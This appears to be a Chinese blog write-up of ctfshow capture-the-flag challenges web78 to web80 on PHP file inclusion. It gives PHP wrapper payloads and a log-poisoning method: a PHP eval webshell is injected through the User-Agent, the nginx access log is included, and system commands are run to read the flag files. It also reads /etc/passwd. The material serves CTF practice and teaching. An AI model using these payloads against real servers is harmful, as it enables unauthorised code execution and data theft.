文件包含做题做题复现及方法总结

在这里我们从ctfshow做题网站中的文件包含进行分析,这些也是我从网上总结而来

web78

<?php




if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

一.与web37类似,可以使用data伪协议及php://filter协议

payload:

?file=data://text/plain,

?file=php://filter/convert.base64-encode/resource=flag.php

二.file:// 或 不使用协议

(将文件直接读入,无法进行编码,会被 php 执行)

包含一句话木马,实现代码执行来读取 flag。

访问url/?file=file:///var/log/nginx/access.log,来确定是否能读取 nginx 的日志。

确定可以访问 nginx 的日志后。使用Burp进行抓包,并修改 User-Agent 为

<?php @eval($_GET[code]);echo PHP_DATADIR;?>

再次访问url/?file=file:///var/log/nginx/access.log 即可查看 PHP 的执行路径。

访问url/?file=file:///var/log/nginx/access.log&code=system('cat flag.php'); ,查看源代码,即可得到flag

参考:

php文件包含-CTFshow-web78_ctf all info u want.php?file=../../../../../var/lo-CSDN博客

web79

if(isset($_GET['file'])){

    $file = $_GET['file'];

    $file = str_replace("php", "???", $file);

    include($file);

}else{

    highlight_file(__FILE__);

}

一.str_replace()函数

str_replace($search, $replace, $subject,$count);

$search表示要被替换的字符或字符串,$replace表示用来替换的字符或字符串,$subject表示待处理的原始字符串。该函数的返回值是经过替换后的字符串。需要注意的是,$search和$replace都可以是一个字符串或一个数组,$count表示替换的次数,也可以不写。

php被???代替,所以要尽可能避免使用关键字php,可以用短标签来代替。

?file=data://text/plain, 可以获取当前目录文件发现有一个flag.php

?file=data://text/plain, 即可读取flag.php的中的内容。

二.同web78

file:// 或 不使用协议

访问url/?file=file:///var/log/nginx/access.log,来确定是否能读取 nginx 的日志。

确定可以访问 nginx 的日志后。使用Burp进行抓包,并修改 User-Agent 为

再次访问url/?file=file:///var/log/nginx/access.log 即可查看 PHP 的执行路径。

访问url/?file=file:///var/log/nginx/access.log&code=system('cat flag.php'); ,查看源代码,即可得到flag

web80(ssrf漏洞)

不能使用php和data了,基本上不能使用php伪协议

然后判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞

传参/etc/passwd,如果成功,则代表可以进行日志注入

访问成功

然后就是正式进入日志注入了。

首先说一下日志注入的原理,:日志文件贮存了客户端访问服务端的请求,也就是我们常说的url,所以我们可以通过在日志文件导入一句话木马来获得flag

不同的php服务器的日志文件的路径是不同的,判断服务器的方式就是一个一个试,不知道有没有更简单的方式。然后试出来是/var/log/nginx/access.log路径,是nginx系统

在文件头添加一句话木马

,最好的地方是在UA,因为这里放的是版本信息,添加其他东西的话影响不大。

添加一句话木马。

这里一句话木马已经上传了,所以我们可以直接只用系统命令了

因为这里是post传参啊,所以用的是a

这里还要知道的是我们访问的网页文件一般默认存放在/var/www/html

可以看到上面那个图片的最后的结尾处给出了两个文件fl0a.php和index.php

接下来我们访问fl0g.php即可

也可以上传完一句话木马后用蚁剑连接。

也可以直接命令执行即可也可以用webshell后门工具连接

?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();

查看nginx服务器日志通常路径

1./var/log/nginx/access.log

2./var/log/nginx/error.log

参考:

ctfshow-web80_ctfshow web80-CSDN博客

总结:

文件包含一种方法的解题思路:(在"."不被代替的情况下)

1.判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞传参

url/?file=/etc/passwd,如果成功,则代表可以进行日志注入

2.然后就是正式进入日志注入了。可以先尝试nginx系统:

url/?file=/var/log/nginx/access.log

3.抓包,在UA处添加一句话木马。

4.连接中国蚁剑,得到flag

 

 

  • 43
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值